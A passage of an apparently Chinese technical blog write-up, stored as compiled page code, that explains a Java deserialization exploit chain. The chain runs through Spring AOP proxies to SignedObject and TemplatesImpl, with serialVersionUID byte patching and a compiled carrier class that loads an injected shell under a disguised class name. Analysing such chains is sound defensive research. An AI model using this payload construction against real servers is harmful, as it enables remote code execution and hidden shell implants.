",(0,l.jsx)(n.code,{children:"siftDown"}),"\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"52-jdkdynamicaopproxy-\u4f5c\u4e3a-comparator",children:"5.2 JdkDynamicAopProxy \u4f5c\u4e3a Comparator"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"JdkDynamicAopProxy"})," \u5b9e\u73b0\u4e86 ",(0,l.jsx)(n.code,{children:"InvocationHandler"}),"\uff0c\u53ef\u4ee5\u4ee3\u7406\u4efb\u4f55\u63a5\u53e3\uff08\u5305\u62ec ",(0,l.jsx)(n.code,{children:"Comparator"}),"\uff09\u3002\u5f53 ",(0,l.jsx)(n.code,{children:"compare()"})," \u88ab\u8c03\u7528\u65f6\uff0c\u89e6\u53d1 ",(0,l.jsx)(n.code,{children:"invoke()"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// Spring \u6e90\u7801\uff1aJdkDynamicAopProxy.invoke()\npublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n // ...\n List chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);\n\n if (chain.isEmpty()) {\n // \u65e0\u901a\u77e5\u94fe\uff0c\u76f4\u63a5\u8c03\u7528\u76ee\u6807\u65b9\u6cd5\n retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);\n } else {\n // \u6709\u901a\u77e5\u94fe\uff0c\u901a\u8fc7 ReflectiveMethodInvocation \u9a71\u52a8\n invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);\n retVal = invocation.proceed();\n }\n // ...\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6784\u9020\u8981\u70b9"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"advised"}),"\uff08",(0,l.jsx)(n.code,{children:"AdvisedSupport"}),"\uff09\u7684 ",(0,l.jsx)(n.code,{children:"targetSource"})," \u6307\u5411\u5305\u542b ",(0,l.jsx)(n.code,{children:"SignedObject"}),"\uff08\u5916\u5c42\uff09\u6216 ",(0,l.jsx)(n.code,{children:"TemplatesImpl"}),"\uff08\u5185\u5c42\uff09\u7684 ",(0,l.jsx)(n.code,{children:"SingletonTargetSource"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"advised"})," \u7684 advisor \u5217\u8868\u5305\u542b ",(0,l.jsx)(n.code,{children:"AspectJMethodBeforeAdvice"})," \u5305\u88c5\u7684\u62e6\u622a\u5668"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"53-aspectjmethodbeforeadvice--matches--\u76ee\u6807\u65b9\u6cd5",children:"5.3 AspectJMethodBeforeAdvice \u2192 matches() \u2192 \u76ee\u6807\u65b9\u6cd5"}),"\n",(0,l.jsxs)(n.p,{children:["\u901a\u77e5\u94fe\u6267\u884c\u65f6\uff0c",(0,l.jsx)(n.code,{children:"MethodBeforeAdviceInterceptor"})," \u8c03\u7528 ",(0,l.jsx)(n.code,{children:"before()"}),"\uff0c\u6700\u7ec8\u901a\u8fc7 Pointcut \u7684 ",(0,l.jsx)(n.code,{children:"matches()"})," \u5224\u65ad\u5e76\u6267\u884c\u76ee\u6807\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// Spring \u6e90\u7801\uff1aAspectJMethodBeforeAdvice.before()\npublic void before(Method method, Object[] args, Object target) throws Throwable {\n invokeAdviceMethod(getJoinPointMatch(), null, null);\n // \u6b64\u5904\u4f1a\u89e6\u53d1 AspectJExpressionPointcut.matches()\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"AspectJExpressionPointcut.matches()"})," \u5728\u89e3\u6790\u5207\u70b9\u8868\u8fbe\u5f0f\u8fc7\u7a0b\u4e2d\uff0c\u901a\u8fc7\u53cd\u5c04\u8c03\u7528\u4e86",(0,l.jsx)(n.strong,{children:"\u76ee\u6807\u5bf9\u8c61\u7684\u76ee\u6807\u65b9\u6cd5"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u5916\u5c42\uff1a\u76ee\u6807\u5bf9\u8c61 = ",(0,l.jsx)(n.code,{children:"SignedObject"}),"\uff0c\u76ee\u6807\u65b9\u6cd5 = ",(0,l.jsx)(n.code,{children:"getObject()"})," \u2192 \u89e6\u53d1\u5185\u5c42\u53cd\u5e8f\u5217\u5316"]}),"\n",(0,l.jsxs)(n.li,{children:["\u5185\u5c42\uff1a\u76ee\u6807\u5bf9\u8c61 = ",(0,l.jsx)(n.code,{children:"TemplatesImpl"}),"\uff0c\u76ee\u6807\u65b9\u6cd5 = ",(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u2192 \u89e6\u53d1\u5b57\u8282\u7801\u52a0\u8f7d"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"54-\u4e3a\u4ec0\u4e48\u80fd\u8c03\u7528\u5230-getobject--getoutputproperties",children:"5.4 \u4e3a\u4ec0\u4e48\u80fd\u8c03\u7528\u5230 getObject() / getOutputProperties()"}),"\n",(0,l.jsxs)(n.p,{children:["Spring AOP \u7684 Pointcut \u8868\u8fbe\u5f0f\u5339\u914d\u4f7f\u7528 AspectJ \u5e95\u5c42\u5f15\u64ce\uff0c\u5728 ",(0,l.jsx)(n.code,{children:"matches()"})," \u4e2d\u5bf9\u76ee\u6807\u65b9\u6cd5\u8fdb\u884c",(0,l.jsx)(n.strong,{children:"\u53cd\u5c04\u8c03\u7528"}),"\uff08\u5177\u4f53\u8def\u5f84\u56e0\u7248\u672c\u800c\u5f02\uff09\uff0c\u6700\u7ec8\u7b49\u6548\u4e8e\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// \u5916\u5c42\uff1a\u89e6\u53d1 SignedObject.getObject()\nmethod.invoke(signedObject); // method = SignedObject.getObject\n\n// \u5185\u5c42\uff1a\u89e6\u53d1 TemplatesImpl.getOutputProperties()\nmethod.invoke(templatesImpl); // method = TemplatesImpl.getOutputProperties\n"})}),"\n",(0,l.jsx)(n.h3,{id:"55-\u5b8c\u6574\u5bf9\u8c61\u56fe\u6784\u9020\u5916\u5c42\u94fe",children:"5.5 \u5b8c\u6574\u5bf9\u8c61\u56fe\u6784\u9020\uff08\u5916\u5c42\u94fe\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u6784\u5efa\u5916\u5c42\u94fe\nAdvisedSupport as = new AdvisedSupport();\nas.setTargetSource(new SingletonTargetSource(signedObject)); // \u76ee\u6807\uff1aSignedObject\nas.addAdvisor(new DefaultPointcutAdvisor(\n aspectJPointcut, // AspectJExpressionPointcut\uff08SUID \u5df2 patch\uff09\n new AspectJMethodBeforeAdvice(method, expressionPointcut, factory)\n));\n\n// JdkDynamicAopProxy \u4f5c\u4e3a Comparator\nInvocationHandler handler = new JdkDynamicAopProxy(as);\nComparator comparator = (Comparator) Proxy.newProxyInstance(\n Comparator.class.getClassLoader(),\n new Class[]{Comparator.class},\n handler\n);\n\n// PriorityQueue \u5c01\u88c5\uff0c\u521d\u59cb size=2\nPriorityQueue pq = new PriorityQueue(2, comparator);\n// \u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e queue \u548c size\uff0c\u907f\u514d\u63d0\u524d\u89e6\u53d1 compare()\nField queueField = PriorityQueue.class.getDeclaredField("queue");\nqueueField.setAccessible(true);\nqueueField.set(pq, new Object[]{signedObject, signedObject});\nField sizeField = PriorityQueue.class.getDeclaredField("size");\nsizeField.setAccessible(true);\nsizeField.set(pq, 2);\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u516daspectjexpressionpointcut-suid-\u7248\u672c\u5dee\u5f02\u4e0e-patch",children:"\u516d\u3001AspectJExpressionPointcut SUID \u7248\u672c\u5dee\u5f02\u4e0e Patch"}),"\n",(0,l.jsx)(n.h3,{id:"61-\u4e3a\u4ec0\u4e48\u9700\u8981-patch-suid",children:"6.1 \u4e3a\u4ec0\u4e48\u9700\u8981 Patch SUID"}),"\n",(0,l.jsxs)(n.p,{children:["Java \u5e8f\u5217\u5316\u534f\u8bae\u8981\u6c42\uff1a\u53cd\u5e8f\u5217\u5316\u4e00\u4e2a\u7c7b\u65f6\uff0c\u6d41\u4e2d\u8bb0\u5f55\u7684 ",(0,l.jsx)(n.code,{children:"serialVersionUID"})," \u5fc5\u987b\u4e0e\u672c\u5730 JVM \u4e2d\u8be5\u7c7b\u7684 SUID \u5b8c\u5168\u4e00\u81f4\uff0c\u5426\u5219\u629b ",(0,l.jsx)(n.code,{children:"InvalidClassException: local class incompatible"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u5728",(0,l.jsx)(n.strong,{children:"\u672c\u5730"}),"\uff08Spring 5.3.39\uff09\u6784\u5efa payload\uff0c\u670d\u52a1\u5668\u8fd0\u884c ",(0,l.jsx)(n.strong,{children:"Spring 5.3.20"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u672c\u5730 Spring 5.3.39 \u2192 AspectJExpressionPointcut SUID = -1412488595531480267L\n\u670d\u52a1\u5668 Spring 5.3.20 \u2192 AspectJExpressionPointcut SUID = -2303280975268180194L\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u76f4\u63a5\u53d1\u9001\u65f6\uff0c\u670d\u52a1\u5668\u53cd\u5e8f\u5217\u5316\u4f1a\u56e0 SUID \u4e0d\u5339\u914d\u5931\u8d25\uff0c\u94fe\u8def\u4e2d\u65ad\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"62-\u5982\u4f55\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d-suid",children:"6.2 \u5982\u4f55\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d SUID"}),"\n",(0,l.jsxs)(n.p,{children:["Java \u5e8f\u5217\u5316\u6d41\u4e2d\uff0c\u7c7b\u63cf\u8ff0\u7b26\uff08",(0,l.jsx)(n.code,{children:"TC_CLASSDESC"}),"\uff0c\u6807\u8bb0 ",(0,l.jsx)(n.code,{children:"0x72"}),"\uff09\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"0x72 // TC_CLASSDESC\n[2B] class_name_length // \u7c7b\u540d\u957f\u5ea6\n[N B] class_name // \u7c7b\u540d\u5b57\u7b26\u4e32\uff08UTF-8\uff09\n[8B] serial_version_uid // SUID\uff08Big-Endian long\uff09\n[1B] class_desc_flags\n[2B] fields_count\n...\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5b9a\u4f4d\u65b9\u6cd5\uff1a\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u641c\u7d22\u7c7b\u540d\u5b57\u7b26\u4e32\n",(0,l.jsx)(n.code,{children:"org.springframework.aop.aspectj.AspectJExpressionPointcut"})," \u51fa\u73b0\u7684\u4f4d\u7f6e\uff0c\n\u5176\u540e 2 \u5b57\u8282\u8df3\u8fc7\uff082B \u7c7b\u540d\u957f\u5ea6\u672c\u8eab\u5305\u542b\u5728\u504f\u79fb\u8ba1\u7b97\u4e2d\uff09\uff0c\u518d\u504f\u79fb",(0,l.jsx)(n.strong,{children:"\u7c7b\u540d\u957f\u5ea6"}),"\u4e2a\u5b57\u8282\uff0c\u5373\u662f SUID \u7684 8 \u5b57\u8282\u4f4d\u7f6e\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"63-patch-\u5b9e\u73b0\u5b57\u8282\u66ff\u6362",children:"6.3 Patch \u5b9e\u73b0\uff08\u5b57\u8282\u66ff\u6362\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// SUID patch \u6838\u5fc3\u903b\u8f91\nstatic byte[] patchSUID(byte[] payload, String className,\n long oldSUID, long newSUID) {\n byte[] nameBytes = className.getBytes("UTF-8");\n byte[] oldBytes = toLongBytes(oldSUID); // -1412488595531480267L \u2192 8\u5b57\u8282\n byte[] newBytes = toLongBytes(newSUID); // -2303280975268180194L \u2192 8\u5b57\u8282\n\n for (int i = 0; i < payload.length - nameBytes.length - 10; i++) {\n // \u5339\u914d\uff1a[2B length][classname][oldSUID 8B]\n if (matches(payload, i, nameBytes)) {\n int suidOffset = i + nameBytes.length; // SUID \u7d27\u8ddf\u7c7b\u540d\n if (matches(payload, suidOffset, oldBytes)) {\n // \u66ff\u6362 SUID\n System.arraycopy(newBytes, 0, payload, suidOffset, 8);\n return payload;\n }\n }\n }\n throw new RuntimeException("SUID pattern not found");\n}\n\n// long \u2192 8\u5b57\u8282 Big-Endian\nstatic byte[] toLongBytes(long v) {\n return new byte[]{\n (byte)(v>>56),(byte)(v>>48),(byte)(v>>40),(byte)(v>>32),\n (byte)(v>>24),(byte)(v>>16),(byte)(v>>8),(byte)v\n };\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"Patch \u524d\u540e\u5bf9\u6bd4"}),"\uff08SUID \u5b57\u8282\u6bb5\uff09\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Patch \u524d\uff1aEC B7 CA 46 1A 59 B6 75 \uff08-1412488595531480267L\uff09\nPatch \u540e\uff1aE0 01 9E DC 53 7B 26 3E \uff08-2303280975268180194L\uff09\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e03templatesimpl-\u5b57\u8282\u7801\u52a0\u8f7d\u673a\u5236",children:"\u4e03\u3001TemplatesImpl \u5b57\u8282\u7801\u52a0\u8f7d\u673a\u5236"}),"\n",(0,l.jsx)(n.h3,{id:"71-getoutputproperties-\u89e6\u53d1\u8def\u5f84",children:"7.1 getOutputProperties() \u89e6\u53d1\u8def\u5f84"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff08com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\uff09\npublic synchronized Properties getOutputProperties() {\n try {\n return newTransformer().getOutputProperties();\n } catch (TransformerConfigurationException e) {\n return null; // \u2190 \u5f02\u5e38\u88ab\u541e\u6389\uff01\n }\n}\n\npublic synchronized Transformer newTransformer() {\n TransformerImpl transformer = new TransformerImpl(\n getTransletInstance(), ... // \u2190 \u89e6\u53d1\u5b57\u8282\u7801\u52a0\u8f7d\n );\n return transformer;\n}\n\nprivate Translet getTransletInstance() {\n if (_name == null) return null;\n if (_class == null) defineTransletClasses(); // \u2190 \u52a0\u8f7d\u5b57\u8282\u7801\n // ...\n return (Translet) _class[_transletIndex].newInstance(); // \u2190 \u5b9e\u4f8b\u5316\uff0c\u89e6\u53d1 \n}\n"})}),"\n",(0,l.jsx)(n.h3,{id:"72-definetransletclasses-\u52a0\u8f7d\u6d41\u7a0b",children:"7.2 defineTransletClasses() \u52a0\u8f7d\u6d41\u7a0b"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"private void defineTransletClasses() throws TransformerConfigurationException {\n // \u7528\u5185\u90e8 TransletClassLoader \u52a0\u8f7d\u6240\u6709 _bytecodes \u5b57\u8282\u7801\n TransletClassLoader loader = new TransletClassLoader(\n ObjectFactory.findClassLoader()\n );\n\n try {\n for (int i = 0; i < _bytecodes.length; i++) {\n _class[i] = loader.defineClass(_bytecodes[i]); // \u2190 defineClass \u52a0\u8f7d\n\n // \u68c0\u67e5\uff1a\u5fc5\u987b\u662f AbstractTranslet \u7684\u5b50\u7c7b\n Class superClass = _class[i].getSuperclass();\n if (superClass.getName().equals(ABSTRACT_TRANSLET)) {\n _transletIndex = i; // \u8bb0\u5f55 translet \u4e3b\u7c7b\u7d22\u5f15\n }\n }\n // \u5982\u679c _transletIndex \u4ecd\u4e3a -1\uff08\u6ca1\u627e\u5230 AbstractTranslet \u5b50\u7c7b\uff09\uff0c\u629b\u5f02\u5e38\n } catch (ClassFormatError e) {\n // \u2190 UnsupportedClassVersionError\uff08Java \u7248\u672c\u4e0d\u7b26\uff09\u88ab ClassFormatError \u5b50\u7c7b\u6355\u83b7\n // \u2190 \u9759\u9ed8\u541e\u6389\uff0cgetOutputProperties() \u8fd4\u56de null\uff0c\u94fe\u8def\u4e2d\u65ad\uff01\n } catch (LinkageError e) {\n // \u2190 VerifyError\uff08\u65b9\u6cd5\u7b7e\u540d\u5f15\u7528\u4e0d\u5b58\u5728\u7684\u7c7b\uff09\u88ab LinkageError \u5b50\u7c7b\u6355\u83b7\n // \u2190 \u540c\u6837\u9759\u9ed8\u541e\u6389\uff0c\u94fe\u8def\u4e2d\u65ad\uff01\n }\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5173\u952e"}),"\uff1a",(0,l.jsx)(n.code,{children:"ClassFormatError"})," \u548c ",(0,l.jsx)(n.code,{children:"LinkageError"})," \u90fd\u5728\u8fd9\u91cc\u88ab\u9759\u9ed8\u541e\u6389\uff0c\u5916\u5c42 ",(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u518d\u6b21 catch ",(0,l.jsx)(n.code,{children:"TransformerConfigurationException"})," \u4e5f\u8fd4\u56de null\uff0c\u653b\u51fb\u8005\u770b\u4e0d\u5230\u4efb\u4f55\u9519\u8bef\uff0c\u4f46\u94fe\u8def\u5df2\u7ecf\u4e2d\u65ad\u3002\u8fd9\u662f",(0,l.jsx)(n.strong,{children:"\u4e24\u5927\u9759\u9ed8\u5931\u8d25\u9677\u9631"}),"\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"73-transletclassloader-\u7684\u4f5c\u7528\u57df",children:"7.3 TransletClassLoader \u7684\u4f5c\u7528\u57df"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"TransletClassLoader"})," \u662f TemplatesImpl \u7684\u5185\u90e8\u7c7b\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff08\u7b80\u5316\uff09\nstatic final class TransletClassLoader extends ClassLoader {\n TransletClassLoader(ClassLoader parent) {\n super(parent);\n }\n Class defineClass(final byte[] b) {\n return defineClass(null, b, 0, b.length);\n }\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsxs)(n.strong,{children:["\u6240\u6709 ",(0,l.jsx)(n.code,{children:"_bytecodes[]"})," \u90fd\u52a0\u8f7d\u8fdb\u540c\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"TransletClassLoader"})," \u5b9e\u4f8b"]}),"\uff0c\u56e0\u6b64\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"_bytecodes[0]"}),"\uff08TxlCarrier\uff09\u52a0\u8f7d\u540e\uff0c\u53ef\u4ee5\u7528 ",(0,l.jsx)(n.code,{children:"Class.forName(shellClassName)"})," \u627e\u5230"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"_bytecodes[1]"}),"\uff08Shell\uff09\u4e5f\u5728\u540c\u4e00\u4e2a ClassLoader \u5185"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"Class.forName(name)"})," \u9ed8\u8ba4\u4f7f\u7528",(0,l.jsx)(n.strong,{children:"\u8c03\u7528\u65b9\u7684\u7c7b\u52a0\u8f7d\u5668"}),"\uff08\u5373 TransletClassLoader\uff09"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48 Shell \u6ce8\u5165\u65f6\u4e0d\u9700\u8981\u663e\u5f0f\u4f20\u5165 ClassLoader\uff1aTxlCarrier \u88ab TransletClassLoader \u52a0\u8f7d\uff0c\u5176 ",(0,l.jsx)(n.code,{children:"Class.forName()"})," \u81ea\u7136\u5728\u540c\u4e00 ClassLoader \u4e2d\u67e5\u627e\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u516btxlcarrier-\u8bbe\u8ba1\u4e3a\u4ec0\u4e48\u9700\u8981\u5047-abstracttranslet",children:"\u516b\u3001TxlCarrier \u8bbe\u8ba1\uff1a\u4e3a\u4ec0\u4e48\u9700\u8981\u5047 AbstractTranslet"}),"\n",(0,l.jsx)(n.h3,{id:"81-\u771f\u5b9e-abstracttranslet-\u7684\u95ee\u9898",children:"8.1 \u771f\u5b9e AbstractTranslet \u7684\u95ee\u9898"}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u76f4\u63a5\u7528\u670d\u52a1\u5668 xalan \u5305\u4e2d\u771f\u5b9e\u7684 ",(0,l.jsx)(n.code,{children:"AbstractTranslet"}),"\uff08",(0,l.jsx)(n.code,{children:"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"}),"\uff09\uff0cjavac \u7f16\u8bd1 TxlCarrier \u65f6\u4f1a\u8981\u6c42\u5b9e\u73b0\u62bd\u8c61\u65b9\u6cd5\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// \u771f\u5b9e AbstractTranslet \u542b\u591a\u4e2a\u62bd\u8c61\u65b9\u6cd5\uff08\u7b80\u5316\uff09\npublic abstract class AbstractTranslet {\n public abstract void transform(DOM dom, SerializationHandler handler)\n throws TransletException;\n public abstract void transform(DOM dom, SerializationHandler[] handlers)\n throws TransletException;\n // ...\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c TxlCarrier \u5b9e\u73b0\u8fd9\u4e9b\u65b9\u6cd5\uff0c\u65b9\u6cd5\u7b7e\u540d\u4e2d\u5c31\u4f1a\u5305\u542b ",(0,l.jsx)(n.code,{children:"DOM"}),"\u3001",(0,l.jsx)(n.code,{children:"SerializationHandler"}),"\u3001",(0,l.jsx)(n.code,{children:"DTMAxisIterator"})," \u7b49 Xalan \u63a5\u53e3\u7c7b\u578b\u7684\u5f15\u7528\u3002\u5728 ",(0,l.jsx)(n.code,{children:"defineClass()"})," \u65f6\uff0cJVM \u5b57\u8282\u7801\u9a8c\u8bc1\u5668\u4f1a\u5c1d\u8bd5\u52a0\u8f7d\u8fd9\u4e9b\u63a5\u53e3\uff0c\u800c\u670d\u52a1\u5668\u7684 xalan \u7248\u672c\u53ef\u80fd\u6ca1\u6709\u5b8c\u5168\u5bf9\u5e94\u7684\u7c7b\uff0c\u5bfc\u81f4\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"java.lang.VerifyError: class TxlCarrier overrides final method...\n// \u6216\njava.lang.NoClassDefFoundError: org/apache/xml/dtm/DTMAxisIterator\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u4e2a\u9519\u8bef\u88ab ",(0,l.jsx)(n.code,{children:"defineTransletClasses()"})," \u7684 ",(0,l.jsx)(n.code,{children:"catch (LinkageError e)"})," ",(0,l.jsx)(n.strong,{children:"\u9759\u9ed8\u541e\u6389"}),"\uff0c\u6574\u6761\u94fe\u8def\u65e0\u58f0\u5931\u8d25\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"82-\u5047-abstracttranslet-\u65b9\u6848",children:"8.2 \u5047 AbstractTranslet \u65b9\u6848"}),"\n",(0,l.jsxs)(n.p,{children:["\u7f16\u8bd1\u65f6\u7528\u4e00\u4e2a",(0,l.jsx)(n.strong,{children:"\u7a7a\u7684\u3001\u65e0\u62bd\u8c61\u65b9\u6cd5\u7684\u5047 AbstractTranslet"}),"\u66ff\u4ee3\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// \u5047 AbstractTranslet\uff1a\u653e\u5728\u6b63\u786e\u7684\u5305\u8def\u5f84\u4e0b\uff0c\u4f46\u6ca1\u6709\u4efb\u4f55\u62bd\u8c61\u65b9\u6cd5\npackage org.apache.xalan.xsltc.runtime;\npublic class AbstractTranslet {\n // \u7a7a\u7c7b\uff0c\u65e0\u62bd\u8c61\u65b9\u6cd5\n}\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6b64\u65f6 TxlCarrier \u7ee7\u627f\u8fd9\u4e2a\u5047\u7c7b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// TxlCarrier.java\uff08\u6700\u7ec8\u7248\u672c\uff09\npublic class TxlCarrier extends org.apache.xalan.xsltc.runtime.AbstractTranslet {\n static {\n try {\n Class.forName("org.apache.logging.ly.KeyUtils"); // Shell \u7c7b\u540d\uff0c\u8fd0\u884c\u65f6\u66ff\u6362\n } catch (Throwable t) {}\n }\n // \u4e0d\u9700\u8981\u5b9e\u73b0\u4efb\u4f55\u65b9\u6cd5\uff01\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:["TxlCarrier \u7684\u5b57\u8282\u7801\u4e2d",(0,l.jsx)(n.strong,{children:"\u4e0d\u542b\u4efb\u4f55\u5bf9 Xalan \u63a5\u53e3\u7684\u65b9\u6cd5\u5f15\u7528"}),"\uff0c\u5b57\u8282\u7801\u9a8c\u8bc1\u5b8c\u5168\u901a\u8fc7\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"83-\u52a8\u6001\u7f16\u8bd1\u6d41\u7a0b",children:"8.3 \u52a8\u6001\u7f16\u8bd1\u6d41\u7a0b"}),"\n",(0,l.jsxs)(n.p,{children:["PoC \u5728\u8fd0\u884c\u65f6\u7528 ",(0,l.jsx)(n.code,{children:"javax.tools.JavaCompiler"})," \u52a8\u6001\u7f16\u8bd1 TxlCarrier\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'static byte[] buildCarrier(String shellClassName) throws Exception {\n JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();\n\n // 1. \u5728\u4e34\u65f6\u76ee\u5f55\u521b\u5efa\u5047 AbstractTranslet\n Path tmp = Files.createTempDirectory("txlpoc_");\n Path atDir = tmp.resolve("org/apache/xalan/xsltc/runtime");\n Files.createDirectories(atDir);\n Files.write(atDir.resolve("AbstractTranslet.java"),\n "package org.apache.xalan.xsltc.runtime;\\npublic class AbstractTranslet {}\\n"\n .getBytes("UTF-8"));\n\n // 2. \u7528 Shell \u7c7b\u540d\u586b\u5145 TxlCarrier \u6e90\u7801\u6a21\u677f\n String txlSrc = String.format(\n "public class TxlCarrier extends org.apache.xalan.xsltc.runtime.AbstractTranslet {\\n" +\n " static { try { Class.forName(\\"%s\\"); } catch (Throwable t) {} }\\n" +\n "}\\n", shellClassName);\n Path carrierSrc = tmp.resolve("TxlCarrier.java");\n Files.write(carrierSrc, txlSrc.getBytes("UTF-8"));\n\n // 3. \u7f16\u8bd1\uff0c\u5f3a\u5236 -source 8 -target 8\uff08\u670d\u52a1\u5668 Java 8\uff09\n List opts = Arrays.asList("-source", "8", "-target", "8",\n "-d", tmp.toString());\n boolean ok = compiler.getTask(null, fm, diag, opts, null, units).call();\n\n // 4. \u8bfb\u53d6 TxlCarrier.class \u5b57\u8282\u7801\n return Files.readAllBytes(tmp.resolve("TxlCarrier.class"));\n}\n'})}),"\n",(0,l.jsx)(n.h3,{id:"84-\u4e3a\u4ec0\u4e48\u5fc5\u987b--source-8--target-8",children:"8.4 \u4e3a\u4ec0\u4e48\u5fc5\u987b -source 8 -target 8"}),"\n",(0,l.jsxs)(n.p,{children:["Java class \u6587\u4ef6\u683c\u5f0f\u7b2c 6-7 \u5b57\u8282\u662f ",(0,l.jsx)(n.code,{children:"major_version"}),"\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Java \u7248\u672c"}),(0,l.jsx)(n.th,{children:"major_version"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Java 8"}),(0,l.jsx)(n.td,{children:"52 (0x34)"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Java 11"}),(0,l.jsx)(n.td,{children:"55 (0x37)"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Java 17"}),(0,l.jsx)(n.td,{children:"61 (0x3D)"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u670d\u52a1\u5668\u8fd0\u884c Java 8 JVM\uff0c\u5f53 ",(0,l.jsx)(n.code,{children:"defineClass()"})," \u52a0\u8f7d major_version > 52 \u7684\u5b57\u8282\u7801\u65f6\uff0c\u629b ",(0,l.jsx)(n.code,{children:"UnsupportedClassVersionError"}),"\uff08",(0,l.jsx)(n.code,{children:"ClassFormatError"})," \u7684\u5b50\u7c7b\uff09\uff0c\u88ab ",(0,l.jsx)(n.code,{children:"defineTransletClasses()"})," \u7684 catch \u5757\u9759\u9ed8\u541e\u6389\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u4f7f\u7528 Java 11+ \u7684 JDK 